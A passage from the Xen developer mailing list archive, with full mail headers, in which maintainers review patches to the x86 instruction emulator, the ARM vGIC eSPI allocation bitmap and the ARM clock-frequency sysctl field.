 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1784208936.8631fc262581453bbf619ec5b2062170.19f6b23cedf000edb5@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1784212213-752854E9-D6F164C4/0/0
X-purgate-type: clean
X-purgate-size: 1584

On 16.07.2026 15:35, Teddy Astie wrote:
> Le 16/07/2026 Ã  12:45, Jan Beulich a Ã©critÂ :
>> --- a/xen/arch/x86/x86_emulate/x86_emulate.c
>> +++ b/xen/arch/x86/x86_emulate/x86_emulate.c
>> @@ -6236,9 +6236,11 @@ x86_emulate(
>>               ASSERT(op_bytes == n * elem_bytes);
>>               op_mask &= ~0ULL >> (64 - n);
>>               n = hweight64(op_mask);
>> -            op_bytes = n * elem_bytes;
>>               if ( n )
>> +            {
>> +                op_bytes = n * elem_bytes;
>>                   op_mask = ~0ULL >> (64 - n);
>> +            }
>>           }
>>           goto simd_zmm;
>>   
>>
> 
> That looks like a bit of a hack in my understanding.

It may be looked at it this way, yes. The entire file may be looked at this way,
really.

> Is there anything specific preventing the common SIMD logic from 
> accepting op_bytes being 0 ? Otherwise, we risk seeing similar issues 
> with other instructions (future or current).

Requiring op_bytes to be non-zero is a safe-guard. If any of the cases engaging
common SIMD emulation would fail to set this up correctly, it would be noticed
only if the path was actually taken (to serve a VM, or in the test or fuzzing
harnesses) and if results were checked to be correct. The test harness can't
reasonably guarantee all paths to be taken. Whereas the running fuzzing harness
doesn't prove that execution was actually correct; it only proves that we
didn't crash or hang. Skipping a memory access where one would be needed would
likely go entirely unnoticed there.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 14:32:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 14:32:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364183.1615512 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkN8X-0001nK-AV; Thu, 16 Jul 2026 14:32:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364183.1615512; Thu, 16 Jul 2026 14:32:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkN8X-0001nD-7f; Thu, 16 Jul 2026 14:32:29 +0000
Received: by outflank-mailman (input) for mailman id 1364183;
 Thu, 16 Jul 2026 14:32:27 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <xakep.amatop@gmail.com>) id 1wkN8V-0001mw-ND
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:32:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkN8V-006cVc-3W
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 16:32:27 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <xakep.amatop@gmail.com>)
 id 6a58eb6e-bab6-0a2a0a5309dd-0a2a4504bf1a-34
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:32:27 +0200
Received: from [209.85.208.181] (helo=mail-lj1-f181.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <xakep.amatop@gmail.com>)
 id 6a58eb7a-b57f-0a2a45040019-d155d0b5dc37-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:32:26 +0200
Received: by mail-lj1-f181.google.com with SMTP id
 38308e7fff4ca-3997a448ecbso34034761fa.0
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 07:32:26 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1784212346; cv=none;
        d=google.com; s=arc-20260327;
        b=GCjp4kvx6Hsw03fL5mR6yw+BrAwxl3oivOJji1u5t5gc34rOpGebk0dx3hF37H+y+Z
         wIZ6Z6Z4b1PFfcrBTVGbPEW5bNbr6dsOgPZfPdslUE73M2xnMjbCb3SKj0itbcZIGS3X
         ID1bPEXnid/JmYetIVdo4DD7faY0B7Wk8A66ZI2EkcM/6YfMCM1DrNA1wGUMQ855y55r
         nYcrFxpUAwBk9eXy16zeV5wuk8uqLx7lfNq/YMdBHsl/bn4aeBNrBFub6uAzX16WN1cW
         oyO+MYBqJ9QI2dusRuoUt5AigAp3dMBwHdWaKqMpueiF+/h+VT/O/ySq+aDo/rsI3ukI
         8EiA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=qGDa6+1+DnJbq2R2aFaIL9WLM4kgzQ9gt/HFwnLQRb0=;
        fh=CbXQhWZTwQlH/OH1p55PYIW1twR7jST5umoJ4C4PE6c=;
        b=hPPr0WrD2i2NXnjXL2VT00bBDJslqIz7kL0pz1hEpTdXkN/ZsCkx1CNsgvQbnwnD6H
         v5LaVkn+4mEH9Ol4RlOZaM/qx/+nPmqADZHZkPS8fYPWdYiQFIR442uUo1YfT1vlxGKZ
         g1IKx/gbJLQjvpaKbCfxB07kcq2hxf72wLx2J58xg5o2rPbwfjJHZmAl707usiacL7ZU
         0nEtVv1RC4EcAfvBu0oYonC4cOXRW7pevz7rKvJLqDU45MzPVUtV26UkPw0UUWrZ8lp+
         7VVzD39YOQqOrba0rPcXFiijFOL8DWrHJGJaJdjySaGV2GoYGuKPkfwvt56VSLm9pCcp
         XAaA==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784212346; x=1784817146; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=qGDa6+1+DnJbq2R2aFaIL9WLM4kgzQ9gt/HFwnLQRb0=;
        b=d0JlO4yObyD2krgeMwrLkZcnafNNF8ikPs8E/t6iCal5bjZnQpf6Ynf4zBrPvcXJ5q
         PZgODuB2yFUWXlG2x61MNrjRq4fUssB3BKKJqZMgy1BB3u3TPXy64gJusyVWR8UK38m6
         qOHSBVcfw+pn1a3K60nTEfEEzVHZCeuuZNHuBcMDAF6Vt0AM4qrEQE/udhX3EmeNpAVf
         K4QRgpkXzko2PDXrzHNFcZKeSzUn+RHteHD9mJoQbtHKGvPWVL7/UXsJ1WT7LQv6R0CZ
         VgUMj0zhZuHkg/FTZ5Mq4w7uZAyN2JdeZucA2Y1fF8m2z8mol1MWcISn3ln9Tw0jUbZ3
         WR8A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784212346; x=1784817146;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=qGDa6+1+DnJbq2R2aFaIL9WLM4kgzQ9gt/HFwnLQRb0=;
        b=YHwCEK6b+YFAnodhczZKceDa4wJufz+3c1e1vQLMx6GuZ3Uky2zFLhHwXPgZ+G9Rqu
         Oq4MxIXuOqZ5fCxhpPTnYwPt0KY6kyZ8ENAjKTb0dtQ/Hpc94FcpL1F5P26NVpfanO9K
         m3fgG0S0u2bXxNxycrXS5cjMbUTvBafyQve6iP8RUd3pUImvmKFeTOPYerkvYkoDfUDn
         otpMZpvUd/Y+spIunW1XDOKU9hI/Y702XfTtUEIv5xFfvwUwpFvZE47B6VPjtBPcKaWo
         AHr1G5uxvmnzHINHwsN63XAtGrTUS/q4nX7GJS5wdw3X8/5fUeqid25zHUcXYSuxf4Hy
         pzSw==
X-Forwarded-Encrypted: i=1; AHgh+RoAHDlps33yfxmd2GeGWDIKkYgYj4qnAeKF40PVc2AiFrceMSgNKSCMJlHtJB4GFEIx5csT9p8KOEA=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyAzHaDUfGb80Po2e69Cu2udGCDxR11wyE53sBS7W3m53XYzuvh
	mkbcPGIwjg3tImbey82z9Jm7kqtj2Fji+jfqlCa7Gnr1pEHZcHuEZEEi4kcCLGKrxjbE+NeKPWY
	VW/236ISPKCyMm3nFEwhCpNmhnEimkd8=
X-Gm-Gg: AfdE7cmmQaZDSLs8TuCnpsXOn2Q2T4hJVUj7ZAamiMyiuQt926wjwNx+LNyRq1cQGZ+
	XrpzQIS8n/vF4sTrH/m4OWyzJStpUYblxuiiW3nAeo8AA72jsOxmwajcM2sl9fdas++SMYnyA6+
	rNgyUUSrMjZB2PEkKxdX9nvJVqqHWsbkjBqGQewMrt59HFMiQgbzuSJJrA9E7BDhgoqMfchyv93
	KZezDGyrYJ/h/3q88Qk47GyTkx2QLOxssGuPZsp+TvmcC35eihNrF0IvaM=
X-Received: by 2002:a05:651c:1687:b0:39b:53f:bf61 with SMTP id
 38308e7fff4ca-39caa872522mr31951941fa.20.1784212345939; Thu, 16 Jul 2026
 07:32:25 -0700 (PDT)
MIME-Version: 1.0
References: <cover.1783671887.git.mykola_kvach@epam.com> <6d279de6db90c7e8b76fb4da93b8e451a9cf9874.1783671887.git.mykola_kvach@epam.com>
 <134609d4-507d-4485-87b2-c59e2c498f45@amd.com>
In-Reply-To: <134609d4-507d-4485-87b2-c59e2c498f45@amd.com>
From: Mykola Kvach <xakep.amatop@gmail.com>
Date: Thu, 16 Jul 2026 17:32:14 +0300
X-Gm-Features: AUfX_mwKwFQ9znUugh-KowBIgSJr7Ub6Y8OH8e2FeWYLoQh3qyholTcrHHdL3Ts
Message-ID: <CAGeoDV8V4D7NGYv9cHK=4mqefYiqQtB75B7QP1DUc7k78-tpQA@mail.gmail.com>
Subject: Re: [PATCH for-4.22 2/2] xen/arm: vgic: free eSPIs using the bitmap index
To: "Orzel, Michal" <michal.orzel@amd.com>
Cc: Mykola Kvach <mykola_kvach@epam.com>, xen-devel@lists.xenproject.org, 
	Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>, 
	Bertrand Marquis <bertrand.marquis@arm.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-ebf023/1784212347-526CAB50-A106B3CC/0/0
X-purgate-type: clean
X-purgate-size: 1733

On Thu, Jul 16, 2026 at 3:03=E2=80=AFPM Orzel, Michal <michal.orzel@amd.com=
> wrote:
>
>
>
> On 10-Jul-26 10:31, Mykola Kvach wrote:
> > Classic vGIC stores eSPIs in allocated_irqs after the regular virtual
> > interrupts. vgic_reserve_virq() therefore translates an eSPI INTID to a
> > compressed bitmap index before test_and_set_bit().
> >
> > vgic_free_virq() still used the raw virtual INTID. Freeing INTID 4096
> > would clear bit 4096 instead of the first eSPI allocation bit, which is
> > outside allocated_irqs for a domain with eSPI support. That can leave
> > the eSPI reserved and may corrupt memory.
> >
> > Add the inverse of idx_to_virq() and use it in both reserve and free, s=
o
> > the allocation bitmap is indexed consistently. Also reject invalid
> > virtual INTIDs before clearing the bitmap.
> I think we can have it in 4.22 given that the release is postponed a bit.
>
> >
> > Fixes: bdde400c6e1b ("xen/arm: vgic: add resource management for extend=
ed SPIs")
> > Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
> > ---
> >  xen/arch/arm/vgic.c | 27 ++++++++++++++++-----------
> >  1 file changed, 16 insertions(+), 11 deletions(-)
> >
> > diff --git a/xen/arch/arm/vgic.c b/xen/arch/arm/vgic.c
> > index e5aca17dcb..b85710c6a7 100644
> > --- a/xen/arch/arm/vgic.c
> > +++ b/xen/arch/arm/vgic.c
> > @@ -33,6 +33,16 @@ static inline unsigned int idx_to_virq(struct domain=
 *d, unsigned int idx)
> >      return idx;
> >  }
> >
> > +static inline unsigned int virq_to_idx(struct domain *d, unsigned int =
virq)
> > +{
> > +#ifdef CONFIG_GICV3_ESPI
> Same as for patch 1: is_espi() shouldn't be protected as it protects itse=
lf.

Ack.

Best regards,
Mykola


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 14:38:47 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 14:38:47 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364199.1615522 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkNEY-0002Oo-VA; Thu, 16 Jul 2026 14:38:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364199.1615522; Thu, 16 Jul 2026 14:38:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkNEY-0002Oh-SO; Thu, 16 Jul 2026 14:38:42 +0000
Received: by outflank-mailman (input) for mailman id 1364199;
 Thu, 16 Jul 2026 14:38:41 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wkNEX-0002OZ-16
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:38:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkNEW-00131G-E4
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 16:38:40 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58eceb-5cb7-0a2a0a5109dd-0a2a4501bac8-6
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:38:36 +0200
Received: from [209.85.221.47] (helo=mail-wr1-f47.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58ecec-5984-0a2a45010019-d155dd2fd4b9-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:38:36 +0200
Received: by mail-wr1-f47.google.com with SMTP id
 ffacd0b85a97d-47df6a5202bso4426459f8f.0
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 07:38:36 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49541e8c47esm64959635e9.8.2026.07.16.07.38.34
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 07:38:35 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784212716; x=1784817516; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=kd7+LHXVzQXnc9SCTfH1LT1tm+zjjYDdLtXcQYermpM=;
        b=RTKPUHoebu6fMZ8yLLzi0azEN5AYxJea4kuz0gbtorAY1EK03LT9XazdqOIk3LkMhm
         7jsqTMQG7EB5v2xffBdwUPu8MtDnBq/I280TBs+wIozDirJBFtWUPcFun4hlawDI5BEg
         I3lq3xO2MwWL1Lm/md+tnrTogqr5XOaIQ3aXFx4eLxSzXzqk4Ldm78nsn1CYzdJ635z+
         2KKbg9wXbjCpEj0J6nkWhwcEcIhJdTxLfRZehIao0ytN+2yH12LgsfpFE+kuBHCkKefp
         cI7c7xWvmkACYFdE13BFYG6DSKliAvdTQ/P5kpzGmR0o74soiBXAl5p8uOc4Xz5WwdMA
         M5mg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784212716; x=1784817516;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=kd7+LHXVzQXnc9SCTfH1LT1tm+zjjYDdLtXcQYermpM=;
        b=G3Fqd2LesIFYom0HDSCwWv4ZmYBKy/qQhqQHvSoz5c3XIYUEPpe3qdU++uMWz/19eB
         GZiLDIrxMB9RuMcFmmoR0xe5e1QfgFW7peWUh9rutiezZEoyISvnetUAT3ahdO6/YAXQ
         V/DNCvctLi38ffMyDTx4NQy6lu/cyrjIWQNRYMRh6GhNaG7AAG9VQaPLbMRBs+VL4lGA
         EP3zPXqD6OdsesLzQu78jz/ouUvr70TwtQbOVsCPSHeOF491yW3UDFZAZmbXQIL1RD7k
         6f3H9wrMh3v2V4XrGzX/2WANfajvILcP8VPfaLIHe0HmOb9mYvPA0My65dCxXO9xMya7
         UGzA==
X-Forwarded-Encrypted: i=1; AHgh+Rp/CMuDt9m4iVwQBqihRiFK0ov3ugw2d2S6xqkJMANP2eMFpN1EF4SNSvCbLAGQRFtLPFD8/g8ViGw=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzZrQTp76jc7pEsqxBl4Oe0f/5oOv8ebciblpdHT5W3QSkKAK73
	PE9IBnpZagjbuCOoQJF22vDyVcJHmbB+xS31oCFfTXlfSboZBAMAmb8LfpEv3vua6g==
X-Gm-Gg: AfdE7cmw66p/b1xwIwBH2giStGvyKTJVbVdTEgmsEbfw1DC/9vIG8CWn29tr+P6RbA0
	ppUX1ESHJn0MAxh5ES5lzoPB8E7OMa4vJdc2+xngD7MMdYL5K1+KBD+/YPibspYLDEuspwCHI5U
	ieOfPL0YZEmgzcumUpsPMBCkHFnv4iDtsynldbbaV8SuS2ktoBL38abuYFRowbV2Ap/xDgIBzk6
	4IotzR65FUbrDNQlylK6z+ngqAvFYArGPtd8b2c7RFK5eLCtroLRvGqEYOb5X0boCE55M8mH/9c
	HikvC/RAOZ5pEjnuC7dhisZPoXPEUkHvofZsIUsD8Tr9jvhk18INk/wrGR0FbpR6h6Qa+hSuInY
	wXkO0LsxSrpjIANjw0DWR0J6inT8Niij3YZXyIZPgc8nMKsxWHh7q7LOr8PW+jMijMvJs2TSoRo
	sdUoizkdkjb/4oXUHYqiwGkjF4CwxgFImLbNCV2RLcopheqZVkLhxPnY/1dYTkYOtcaJ4jOq1K1
	efM
X-Received: by 2002:a05:600c:5489:b0:493:a966:d5b5 with SMTP id 5b1f17b1804b1-4953c1451camr83073955e9.2.1784212715932;
        Thu, 16 Jul 2026 07:38:35 -0700 (PDT)
Message-ID: <bc54ea1d-1ac6-4350-844f-8c2523149724@suse.com>
Date: Thu, 16 Jul 2026 16:38:34 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 5/6] xen/arm: report clock_frequency via sysctl
 physinfo, not createdomain
To: Julian Vetter <julian.vetter@vates.tech>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, Juergen Gross
 <jgross@suse.com>, Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
 Timothy Pearson <tpearson@raptorengineering.com>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org
References: <1784210820.8631fc262581453bbf619ec5b2062170.19f6b408bba000edb5@vates.tech>
 <20260716141138.88265-1-julian.vetter@vates.tech>
 <1784211106.8631fc262581453bbf619ec5b2062170.19f6b44e953000edb5@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP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WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1784211106.8631fc262581453bbf619ec5b2062170.19f6b44e953000edb5@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1784212716-1DA7E757-65DB7075/0/0
X-purgate-type: clean
X-purgate-size: 1625

On 16.07.2026 16:11, Julian Vetter wrote:> --- a/xen/include/public/sysctl.h
> +++ b/xen/include/public/sysctl.h
> @@ -120,7 +120,26 @@ struct xen_sysctl_physinfo {
>      uint32_t cpu_khz;
>      uint32_t capabilities;/* XEN_SYSCTL_PHYSCAP_??? */
>      uint32_t arch_capabilities;/* XEN_SYSCTL_PHYSCAP_{X86,ARM,...}_??? */
> -    uint32_t pad;
> +    /*
> +     * ARM only, and only set when booting via Device Tree. Value, in Hz, of
> +     * the "clock-frequency" property in the DT timer node. The property may
> +     * be present when the bootloader/firmware doesn't correctly set CNTFRQ
> +     * to hold the timer frequency.

Is this latter aspect relevant for this sysctl field?

> +     * As it's not possible to trap this register, we have to replicate the
> +     * value in the guest DT.

What is "this register" in this context?

> +     * This field mirrors the DT property (a single <u32> cell), independent of
> +     * CNTFRQ_EL0's own width or any given implementation's actual frequency.
> +     * Should the DT binding ever grow a wider encoding, this field would need
> +     * to grow (or gain a companion) to match, same as any other ABI change.
> +     *
> +     * = 0 => property not present, non-ARM, or booting via ACPI (ACPI
> +     *        guests get the frequency from firmware/CNTFRQ instead, so
> +     *        there is nothing to replicate).

As per the initial part of the comment, CNTFREQ may be set correctly, and the
property be absent in that case. Why can't the register value then be made
available here, to reduce the number of constraints?

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 14:44:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 14:44:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364209.1615530 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkNJp-00047a-Ij; Thu, 16 Jul 2026 14:44:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364209.1615530; Thu, 16 Jul 2026 14:44:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkNJp-00047T-G6; Thu, 16 Jul 2026 14:44:09 +0000
Received: by outflank-mailman (input) for mailman id 1364209;
 Thu, 16 Jul 2026 14:44:08 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wkNJo-00047L-Bk
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:44:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkNJn-006elS-5R
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 16:44:07 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a58ee21-5cb7-0a2a0a5109dd-0a2a4503da0c-48
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:44:07 +0200
Received: from [209.85.218.45] (helo=mail-ej1-f45.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a58ee36-fae8-0a2a45030019-d155da2de8b0-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:44:06 +0200
Received: by mail-ej1-f45.google.com with SMTP id
 a640c23a62f3a-c167bda216fso327954066b.2
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 07:44:06 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 a640c23a62f3a-c1687171e7esm234372166b.22.2026.07.16.07.44.05
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 07:44:05 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
